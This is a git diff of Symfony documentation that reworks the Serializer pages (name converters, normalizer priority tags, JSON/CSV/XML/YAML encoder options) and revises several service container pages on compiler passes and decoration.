+setting the serializer context option
+``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT`` to ``true``.
+
+Handling Boolean Values
+~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 7.1
+
+    The ``AbstractNormalizer::FILTER_BOOL`` context option was introduced in Symfony 7.1.
+
+PHP considers many different values as true or false. For example, the
+strings ``true``, ``1``, and ``yes`` are considered true, while
+``false``, ``0``, and ``no`` are considered false.
+
+When deserializing, the Serializer component can take care of this
+automatically. This can be done by using the ``AbstractNormalizer::FILTER_BOOL``
+context option::
 
-If you want to leverage the full power of the Symfony Serializer component,
-take a look at how this bundle works.
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    // ...
+
+    $person = $serializer->denormalize(['sportsperson' => 'yes'], Person::class, context: [
+        AbstractNormalizer::FILTER_BOOL => true
+    ]);
+    // $person contains a Person instance with sportsperson set to true
+
+This context makes the deserialization process behave like the
+:phpfunction:`filter_var` function with the ``FILTER_VALIDATE_BOOL`` flag.
+
+.. _serializer-enabling-metadata-cache:
+
+Configuring the Metadata Cache
+------------------------------
+
+The metadata for the serializer is automatically cached to enhance application
+performance. By default, the serializer uses the ``cache.system`` cache pool
+which is configured using the :ref:`cache.system <reference-cache-system>`
+option.
+
+Going Further with the Serializer
+---------------------------------
 
 .. toctree::
+    :glob:
     :maxdepth: 1
 
-    serializer/custom_encoders
-    serializer/custom_normalizer
-    serializer/custom_context_builders
+    serializer/*
 
+.. _`JMS serializer`: https://github.com/schmittjoh/serializer
 .. _`API Platform`: https://api-platform.com
 .. _`JSON-LD`: https://json-ld.org
 .. _`Hydra Core Vocabulary`: https://www.hydra-cg.com/
@@ -582,3 +2144,10 @@ take a look at how this bundle works.
 .. _`GraphQL`: https://graphql.org
 .. _`JSON:API`: https://jsonapi.org
 .. _`HAL`: https://stateless.group/hal_specification.html
+.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807
+.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
+.. _`RFC 3339`: https://tools.ietf.org/html/rfc3339#section-5.8
+.. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
+.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
+.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
+.. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index 00d08ef71d3..8eeb584d761 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -1,11 +1,9 @@
 How to Create your Custom Context Builder
 =========================================
 
-The :doc:`Serializer Component </components/serializer>` uses Normalizers
-and Encoders to transform any data to any data-structure (e.g. JSON).
-That serialization process can be configured thanks to a
-:ref:`serialization context <serializer_serializer-context>`, which can be built thanks to
-:ref:`context builders <component-serializer-context-builders>`.
+That serialization process of the :doc:`Serializer Component </serializer>`
+can be configured by the :ref:`serialization context <serializer-context>`,
+which can be built thanks to :ref:`context builders <serializer-using-context-builders>`.
 
 Each built-in normalizer/encoder has its related context builder. However, you
 may want to create a custom context builder for your
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
deleted file mode 100644
index dca6aa12ec4..00000000000
--- a/serializer/custom_encoders.rst
+++ /dev/null
@@ -1,61 +0,0 @@
-How to Create your Custom Encoder
-=================================
-
-The :doc:`Serializer Component </components/serializer>` uses Normalizers
-to transform any data to an array. Then, by leveraging *Encoders*, that data can
-be converted into any data-structure (e.g. JSON).
-
-The Component provides several built-in encoders that are described
-:doc:`in the serializer component </components/serializer>` but you may want
-to use another structure that's not supported.
-
-Creating a new encoder
-----------------------
-
-Imagine you want to serialize and deserialize YAML. For that you'll have to
-create your own encoder that uses the
-:doc:`Yaml Component </components/yaml>`::
-
-    // src/Serializer/YamlEncoder.php
-    namespace App\Serializer;
-
-    use Symfony\Component\Serializer\Encoder\DecoderInterface;
-    use Symfony\Component\Serializer\Encoder\EncoderInterface;
-    use Symfony\Component\Yaml\Yaml;
-
-    class YamlEncoder implements EncoderInterface, DecoderInterface
-    {
-        public function encode($data, string $format, array $context = []): string
-        {
-            return Yaml::dump($data);
-        }
-
-        public function supportsEncoding(string $format, array $context = []): bool
-        {
-            return 'yaml' === $format;
-        }
-
-        public function decode(string $data, string $format, array $context = []): array
-        {
-            return Yaml::parse($data);
-        }
-
-        public function supportsDecoding(string $format, array $context = []): bool
-        {
-            return 'yaml' === $format;
-        }
-    }
-
-Registering it in your app
---------------------------
-
-If you use the Symfony Framework, then you probably want to register this encoder
-as a service in your app. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-that's done automatically!
-
-.. tip::
-
-    If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
-    to register your class as a service and tag it with ``serializer.encoder``.
-
-Now you'll be able to serialize and deserialize YAML!
diff --git a/serializer/custom_name_converter.rst b/serializer/custom_name_converter.rst
new file mode 100644
index 00000000000..49dafb02cc4
--- /dev/null
+++ b/serializer/custom_name_converter.rst
@@ -0,0 +1,112 @@
+How to Create your Custom Name Converter
+========================================
+
+The Serializer Component uses :ref:`name converters <serializer-name-conversion>`
+to transform the attribute names (e.g. from snake_case in JSON to CamelCase
+for PHP properties).
+
+Imagine you have the following object::
+
+    namespace App\Model;
+
+    class Company
+    {
+        public string $name;
+        public string $address;
+    }
+
+And in the serialized form, all attributes must be prefixed by ``org_`` like
+the following:
+
+.. code-block:: json
+
+    {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
+
+A custom name converter can handle such cases::
+
+    namespace App\Serializer;
+
+    use Symfony\Component\Serializer\NameConverter\NameConverterInterface;
+
+    class OrgPrefixNameConverter implements NameConverterInterface
+    {
+        public function normalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
+        {
+            // during normalization, add the prefix
+            return 'org_'.$propertyName;
+        }
+
+        public function denormalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
+        {
+            // remove the 'org_' prefix on denormalizing
+            return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
+        }
+    }
+
+.. versionadded:: 7.1
+
+    Accessing the current class name, format and context via
+    :method:`Symfony\\Component\\Serializer\\NameConverter\\NameConverterInterface::normalize`
+    and :method:`Symfony\\Component\\Serializer\\NameConverter\\NameConverterInterface::denormalize`
+    was introduced in Symfony 7.1.
+
+.. note::
+
+    You can also implement
+    :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface`
+    to access the current class name, format and context.
+
+Then, configure the serializer to use your name converter:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                # pass the service ID of your name converter
+                name_converter: 'App\Serializer\OrgPrefixNameConverter'
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- pass the service ID of your name converter -->
+                <framework:serializer
+                    name-converter="App\Serializer\OrgPrefixNameConverter"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use App\Serializer\OrgPrefixNameConverter;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->serializer()
+                // pass the service ID of your name converter
+                ->nameConverter(OrgPrefixNameConverter::class)
+            ;
+        };
+
+Now, when using the serializer in the application, all attributes will be
+prefixed by ``org_``::
+
+    // ...
+    $company = new Company('Acme Inc.', '123 Main Street, Big City');
+
+    $json = $serializer->serialize($company, 'json');
+    // {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
+    $companyCopy = $serializer->deserialize($json, Company::class, 'json');
+    // Same data as $company
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 1519c2adf22..10092c6baa7 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -1,10 +1,11 @@
 How to Create your Custom Normalizer
 ====================================
 
-The :doc:`Serializer component </components/serializer>` uses
-normalizers to transform any data into an array. The component provides several
-:ref:`built-in normalizers <component-serializer-normalizers>` but you may need to create
-your own normalizer to transform an unsupported data structure.
+The :doc:`Serializer component </serializer>` uses normalizers to transform
+any data into an array. The component provides several
+ref:`built-in normalizers <serializer-built-in-normalizers>` but you may
+need to create your own normalizer to transform an unsupported data
+structure.
 
 Creating a New Normalizer
 -------------------------
@@ -68,6 +69,63 @@ a service and :doc:`tagged </service_container/tags>` with ``serializer.normaliz
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is done automatically!
 
+If you're not using ``autoconfigure``, you have to tag the service with
+``serializer.normalizer``. You can also use this method to set a priority
+(higher means it's called earlier in the process):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Serializer\TopicNormalizer:
+                tags:
+                    # register the normalizer with a high priority (called earlier)
+                    - { name: 'serializer.normalizer', priority: 500 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="App\Serializer\TopicNormalizer">
+                    <!-- register the normalizer with a high priority (called earlier) -->
+                    <tag name="serializer.normalizer"
+                        priority="500"
+                    />
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Serializer\TopicNormalizer;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            // if you're using autoconfigure, the tag will be automatically applied
+            $services->set(TopicNormalizer::class)
+                // register the normalizer with a high priority (called earlier)
+                ->tag('serializer.normalizer', [
+                    'priority' => 500,
+                ])
+            ;
+        };
+
 Performance of Normalizers/Denormalizers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/serializer/encoders.rst b/serializer/encoders.rst
new file mode 100644
index 00000000000..d5a98356156
--- /dev/null
+++ b/serializer/encoders.rst
@@ -0,0 +1,373 @@
+Serializer Encoders
+===================
+
+The Serializer component provides several built-in encoders:
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
+    This class encodes and decodes data in `JSON`_.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
+    This class encodes and decodes data in `XML`_.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
+    This encoder encodes and decodes data in `YAML`_. This encoder requires the
+    :doc:`Yaml Component </components/yaml>`.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
+    This encoder encodes and decodes data in `CSV`_.
+
+.. note::
+
+    You can also create your own encoder to use another structure. Read more at
+    :ref:`Creating a Custom Encoder <serializer-custom-encoder>` below.
+
+All these encoders are enabled by default when using the Serializer component
+in a Symfony application.
+
+The ``JsonEncoder``
+-------------------
+
+The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP
+:phpfunction:`json_encode` and :phpfunction:`json_decode` functions.
+
+It can be useful to modify how these functions operate in certain instances
+by providing options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use
+the serialization context to pass in these options using the key
+``json_encode_options`` or ``json_decode_options`` respectively::
+
+    $this->serializer->serialize($data, 'json', [
+        'json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION,
+    ]);
+
+All context options available for the JSON encoder are:
+
+``json_decode_associative`` (default: ``false``)
+    If set to ``true`` returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.
+``json_decode_detailed_errors`` (default: ``false``)
+    If set to ``true`` exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.
+``json_decode_options`` (default: ``0``)
+    Flags passed to :phpfunction:`json_decode` function.
+``json_encode_options`` (default: ``\JSON_PRESERVE_ZERO_FRACTION``)
+    Flags passed to :phpfunction:`json_encode` function.
+``json_decode_recursion_depth`` (default: ``512``)
+    Sets maximum recursion depth.
+
+The ``CsvEncoder``
+------------------
+
+The ``CsvEncoder`` encodes to and decodes from CSV. Serveral :ref:`context options <serializer-context>`
+are available to customize the behavior of the encoder:
+
+``csv_delimiter`` (default: ``,``)
+    Sets the field delimiter separating values (one character only).
+``csv_enclosure`` (default: ``"``)
+    Sets the field enclosure (one character only).
+``csv_end_of_line`` (default: ``\n``)
+    Sets the character(s) used to mark the end of each line in the CSV file.
+``csv_escape_char`` (default: empty string)
+
+    .. deprecated:: 7.2
+
+        The ``csv_escape_char`` option was deprecated in Symfony 7.2.
+
+    Sets the escape character (at most one character).
+``csv_key_separator`` (default: ``.``)
+    Sets the separator for array's keys during its flattening
+``csv_headers`` (default: ``[]``, inferred from input data's keys)
+    Sets the order of the header and data columns.
+    E.g. if you set it to ``['a', 'b', 'c']`` and serialize
+    ``['c' => 3, 'a' => 1, 'b' => 2]``, the order will be ``a,b,c`` instead
+    of the input order (``c,a,b``).
+``csv_escape_formulas`` (default: ``false``)
+    Escapes fields containing formulas by prepending them with a ``\t`` character.
+``as_collection`` (default: ``true``)
+    Always returns results as a collection, even if only one line is decoded.
+``no_headers`` (default: ``false``)
+    Setting to ``false`` will use first row as headers when denormalizing,
+    ``true`` generates numeric headers.
+``output_utf8_bom`` (default: ``false``)
+    Outputs special `UTF-8 BOM`_ along with encoded data.
+
+The ``XmlEncoder``
+------------------
+
+This encoder transforms PHP values into XML and vice versa.
+
+For example, take an object that is normalized as following::
+
+    $normalizedArray = ['foo' => [1, 2], 'bar' => true];
+
+The ``XmlEncoder`` will encode this object like:
+
+.. code-block:: xml
+
+    <?xml version="1.0" encoding="UTF-8" ?>
+    <response>
+        <foo>1</foo>
+        <foo>2</foo>
+        <bar>1</bar>
+    </response>
+
+The special ``#`` key can be used to define the data of a node::
+
+    ['foo' => ['@bar' => 'value', '#' => 'baz']];
+
+    /* is encoded as follows:
+       <?xml version="1.0"?>
+       <response>
+           <foo bar="value">
+              baz
+           </foo>
+       </response>
+     */
+
+Furthermore, keys beginning with ``@`` will be considered attributes, and
+the key  ``#comment`` can be used for encoding XML comments::
+
+    $encoder = new XmlEncoder();
+    $xml = $encoder->encode([
+        'foo' => ['@bar' => 'value'],
+        'qux' => ['#comment' => 'A comment'],
+    ], 'xml');
+    /* will return:
+       <?xml version="1.0"?>
+       <response>
+           <foo bar="value"/>
+           <qux><!-- A comment --!><qux>
+       </response>
+     */
+
+You can pass the context key ``as_collection`` in order to have the results
+always as a collection.
+
+.. note::
+
+    You may need to add some attributes on the root node::
+
+        $encoder = new XmlEncoder();
+        $encoder->encode([
+            '@attribute1' => 'foo',
+            '@attribute2' => 'bar',
+            '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']]
+        ], 'xml');
+
+        // will return:
+        // <?xml version="1.0"?>
+        // <response attribute1="foo" attribute2="bar">
+        // <foo bar="value">baz</foo>
+        // </response>
+
+.. tip::
+
+    XML comments are ignored by default when decoding contents, but this
+    behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
+
+    Data with ``#comment`` keys are encoded to XML comments by default. This can be
+    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
+    key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
+    directly to the ``$context`` argument of the ``encode()`` method::
+
+        $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
+
+The ``XmlEncoder`` Context Options
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+These are the options available on the :ref:`serializer context <serializer-context>`:
+
+``xml_format_output`` (default: ``false``)
+    If set to true, formats the generated XML with line breaks and indentation.
+``xml_version`` (default: ``1.0``)
+    Sets the XML version attribute.
+``xml_encoding`` (default: ``utf-8``)
+    Sets the XML encoding attribute.
+``xml_standalone`` (default: ``true``)
+    Adds standalone attribute in the generated XML.
+``xml_type_cast_attributes`` (default: ``true``)
+    This provides the ability to forget the attribute type casting.
+``xml_root_node_name`` (default: ``response``)
+    Sets the root node name.
+``as_collection`` (default: ``false``)
+    Always returns results as a collection, even if only one line is decoded.
+``decoder_ignored_node_types`` (default: ``[\XML_PI_NODE, \XML_COMMENT_NODE]``)
+    Array of node types (`DOM XML_* constants`_) to be ignored while decoding.
+``encoder_ignored_node_types`` (default: ``[]``)
+    Array of node types (`DOM XML_* constants`_) to be ignored while encoding.
+``load_options`` (default: ``\LIBXML_NONET | \LIBXML_NOBLANKS``)
+    XML loading `options with libxml`_.
+``save_options`` (default: ``0``)
+    XML saving `options with libxml`_.
+``remove_empty_tags`` (default: ``false``)
+    If set to ``true``, removes all empty tags in the generated XML.
+``cdata_wrapping`` (default: ``true``)
+    If set to ``false``, will not wrap any value containing one of the
+    following characters ( ``<``, ``>``, ``&``) in `a CDATA section`_ like
+    following: ``<![CDATA[...]]>``.
+``cdata_wrapping_pattern`` (default: ````/[<>&]/````)
+    A regular expression pattern to determine if a value should be wrapped
+    in a CDATA section.
+
+.. versionadded:: 7.1
+
+    The ``cdata_wrapping_pattern`` option was introduced in Symfony 7.1.
+
+
+Example with a custom ``context``::
+
+    use Symfony\Component\Serializer\Encoder\XmlEncoder;
+
+    $data = [
+        'id' => 'IDHNQIItNyQ',
+        'date' => '2019-10-24',
+    ];
+
+    $xmlEncoder->encode($data, 'xml', ['xml_format_output' => true]);
+    // outputs:
+    // <?xml version="1.0"?>
+    // <response>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </response>
+
+    $xmlEncoder->encode($data, 'xml', [
+        'xml_format_output' => true,
+        'xml_root_node_name' => 'track',
+        'encoder_ignored_node_types' => [
+            \XML_PI_NODE, // removes XML declaration (the leading xml tag)
+        ],
+    ]);
+    // outputs:
+    // <track>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </track>
+
+The ``YamlEncoder``
+-------------------
+
+This encoder requires the :doc:`Yaml Component </components/yaml>` and
+transforms from and to Yaml.
+
+Like other encoder, several :ref:`context options <serializer-context>` are
+available:
+
+``yaml_inline`` (default: ``0``)
+    The level where you switch to inline YAML.
+``yaml_indent`` (default: ``0``)
+    The level of indentation (used internally).
+``yaml_flags`` (default: ``0``)
+    A bit field of ``Yaml::DUMP_*``/``Yaml::PARSE_*`` constants to
+    customize the encoding/decoding YAML string.
+
+.. _serializer-custom-encoder:
+
+Creating a Custom Encoder
+-------------------------
+
+Imagine you want to serialize and deserialize `NEON`_. For that you'll have to
+create your own encoder::
+
+    // src/Serializer/YamlEncoder.php
+    namespace App\Serializer;
+
+    use Nette\Neon\Neon;
+    use Symfony\Component\Serializer\Encoder\DecoderInterface;
+    use Symfony\Component\Serializer\Encoder\EncoderInterface;
+
+    class NeonEncoder implements EncoderInterface, DecoderInterface
+    {
+        public function encode($data, string $format, array $context = [])
+        {
+            return Neon::encode($data);
+        }
+
+        public function supportsEncoding(string $format)
+        {
+            return 'neon' === $format;
+        }
+
+        public function decode(string $data, string $format, array $context = [])
+        {
+            return Neon::decode($data);
+        }
+
+        public function supportsDecoding(string $format)
+        {
+            return 'neon' === $format;
+        }
+    }
+
+.. tip::
+
+    If you need access to ``$context`` in your ``supportsDecoding`` or
+    ``supportsEncoding`` method, make sure to implement
+    ``Symfony\Component\Serializer\Encoder\ContextAwareDecoderInterface``
+    or ``Symfony\Component\Serializer\Encoder\ContextAwareEncoderInterface`` accordingly.
+
+Registering it in Your App
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you use the Symfony Framework, then you probably want to register this encoder
+as a service in your app. If you're using the
+:ref:`default services.yaml configuration <service-container-services-load-example>`,
+that's done automatically!
+
+If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
+to register your class as a service and tag it with
+:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Serializer\NeonEncoder:
+                tags: ['serializer.encoder']
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="App\Serializer\NeonEncoder">
+                    <tag name="serializer.encoder"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Serializer\NeonEncoder;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            $services->set(NeonEncoder::class)
+                ->tag('serializer.encoder')
+            ;
+        };
+
+Now you'll be able to serialize and deserialize NEON!
+
+.. _JSON: https://www.json.org/json-en.html
+.. _XML: https://www.w3.org/XML/
+.. _YAML: https://yaml.org/
+.. _CSV: https://tools.ietf.org/html/rfc4180
+.. _seld/jsonlint: https://github.com/Seldaek/jsonlint
+.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark
+.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
+.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
+.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA
+.. _NEON: https://ne-on.org/
diff --git a/service_container.rst b/service_container.rst
index 6eb86231b63..30b69b8aa14 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -608,7 +608,7 @@ accessor methods for parameters::
     // adds a new parameter
     $container->setParameter('mailer.transport', 'sendmail');
 
-.. caution::
+.. warning::
 
     The used ``.`` notation is a
     :ref:`Symfony convention <service-naming-conventions>` to make parameters
@@ -1421,7 +1421,7 @@ and ``site_update_manager.normal_users``. Thanks to the alias, if you type-hint
 If you want to pass the second, you'll need to :ref:`manually wire the service <services-wire-specific-service>`
 or to create a named :ref:`autowiring alias <autowiring-alias>`.
 
-.. caution::
+.. warning::
 
     If you do *not* create the alias and are :ref:`loading all services from src/ <service-container-services-load-example>`,
     then *three* services have been created (the automatic service + your two services)
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index fc5728685e0..11458a4e8e3 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -3,53 +3,85 @@ How to Work with Compiler Passes
 
 Compiler passes give you an opportunity to manipulate other
 :doc:`service definitions </service_container/definitions>` that have been
-registered with the service container. You can read about how to create them in
-the components section ":ref:`components-di-separate-compiler-passes`".
+registered with the service container.
 
-Compiler passes are registered in the ``build()`` method of the application kernel::
+.. _kernel-as-compiler-pass:
+
+If your compiler pass is relatively small, you can define it inside the
+application's ``Kernel`` class instead of creating a
+:ref:`separate compiler pass class <components-di-separate-compiler-passes>`.
+
+To do so, make your kernel implement :class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
+and add the compiler pass code inside the ``process()`` method::
 
     // src/Kernel.php
     namespace App;
 
-    use App\DependencyInjection\Compiler\CustomPass;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
 
-    class Kernel extends BaseKernel
+    class Kernel extends BaseKernel implements CompilerPassInterface
     {
         use MicroKernelTrait;
 
         // ...
 
-        protected function build(ContainerBuilder $container): void
+        public function process(ContainerBuilder $container): void
         {
-            $container->addCompilerPass(new CustomPass());
+            // in this method you can manipulate the service container:
+            // for example, changing some container service:
+            $container->getDefinition('app.some_private_service')->setPublic(true);
+
+            // or processing tagged services:
+            foreach ($container->findTaggedServiceIds('some_tag') as $id => $tags) {
+                // ...
+            }
         }
     }
 
-.. _kernel-as-compiler-pass:
-
-One of the most common use-cases of compiler passes is to work with :doc:`tagged
-services </service_container/tags>`. In those cases, instead of creating a
-compiler pass, you can make the kernel implement
-:class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
-and process the services inside the ``process()`` method::
+If you create separate compiler pass classes, enable them in the ``build()``
+method of the application kernel::
 
     // src/Kernel.php
     namespace App;
 
+    use App\DependencyInjection\Compiler\CustomPass;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
-    use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
 
-    class Kernel extends BaseKernel implements CompilerPassInterface
+    class Kernel extends BaseKernel
     {
         use MicroKernelTrait;
 
         // ...
 
+        protected function build(ContainerBuilder $container): void
+        {
+            $container->addCompilerPass(new CustomPass());
+        }
+    }
+
+Working with Compiler Passes in Bundles
+---------------------------------------
+
+If your compiler pass is relatively small, you can add it directly in the main
+bundle class. To do so, make your bundle implement the
+:class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
+and place the compiler pass code inside the ``process()`` method of the main
+bundle class::
+
+    // src/MyBundle/MyBundle.php
+    namespace App\MyBundle;
+
+    use App\DependencyInjection\Compiler\CustomPass;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class MyBundle extends AbstractBundle
+    {
         public function process(ContainerBuilder $container): void
         {
             // in this method you can manipulate the service container:
@@ -63,12 +95,8 @@ and process the services inside the ``process()`` method::
         }
     }
 
-Working with Compiler Passes in Bundles
----------------------------------------
-
-:doc:`Bundles </bundles>` can define compiler passes in the ``build()`` method of
-the main bundle class (this is not needed when implementing the ``process()``
-method in the extension)::
+Alternatively, when using :ref:`separate compiler pass classes <components-di-separate-compiler-passes>`,
+bundles can enable them in the ``build()`` method of their main bundle class::
 
     // src/MyBundle/MyBundle.php
     namespace App\MyBundle;
@@ -88,7 +116,7 @@ method in the extension)::
     }
 
 If you are using custom :doc:`service tags </service_container/tags>` in a
-bundle then by convention, tag names consist of the name of the bundle
-(lowercase, underscores as separators), followed by a dot, and finally the
-"real" name. For example, if you want to introduce some sort of "transport" tag
-in your AcmeMailerBundle, you should call it ``acme_mailer.transport``.
+bundle, the convention is to format tag names by starting with the bundle's name
+in lowercase (using underscores as separators), followed by a dot, and finally
+the specific tag name. For example, to introduce a "transport" tag in your
+AcmeMailerBundle, you would name it ``acme_mailer.transport``.
diff --git a/service_container/definitions.rst b/service_container/definitions.rst
index e54a99237d9..a2a50591668 100644
--- a/service_container/definitions.rst
+++ b/service_container/definitions.rst
@@ -86,7 +86,7 @@ fetched from the container::
 
     // gets a specific argument
     $firstArgument = $definition->getArgument(0);
-    
+
     // adds a new named argument
     // '$argumentName' = the name of the argument in the constructor, including the '$' symbol
     $definition = $definition->setArgument('$argumentName', $argumentValue);
@@ -100,7 +100,7 @@ fetched from the container::
     // replaces all previously configured arguments with the passed array
     $definition->setArguments($arguments);
 
-.. caution::
+.. warning::
 
     Don't use ``get()`` to get a service that you want to inject as constructor
     argument, the service is not yet available. Instead, use a
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 41f27d8448f..23d76a4cfbf 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -21,7 +21,7 @@ Configuring lazy services is one answer to this. With a lazy service, a
 like the ``mailer``, except that the ``mailer`` isn't actually instantiated
 until you interact with the proxy in some way.
 
-.. caution::
+.. warning::
 
     Lazy services do not support `final`_ or ``readonly`` classes, but you can use
     `Interface Proxifying`_ to work around this limitation.
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index b3bf0bc5864..e2cadbb0a4b 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -289,35 +289,35 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
 
 .. configuration-block::
 
-        .. code-block:: php-attributes
+    .. code-block:: php-attributes
 
-            // ...
-            use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-            use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
 
-            #[AsDecorator(decorates: Foo::class, priority: 5)]
-            class Bar
-            {
-                public function __construct(
-                    #[AutowireDecorated]
-                    private $inner,
-                ) {
-                }
-                // ...
+        #[AsDecorator(decorates: Foo::class, priority: 5)]
+        class Bar
+        {
+            public function __construct(
+                #[AutowireDecorated]
+                private $inner,
+            ) {
             }
+            // ...
+        }
 
-            #[AsDecorator(decorates: Foo::class, priority: 1)]
-            class Baz
-            {
-                public function __construct(
-                    #[AutowireDecorated]
-                    private $inner,
-                ) {
-                }
-
-                // ...
+        #[AsDecorator(decorates: Foo::class, priority: 1)]
+        class Baz
+        {
+            public function __construct(
+                #[AutowireDecorated]
+                private $inner,
+            ) {
             }
 
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
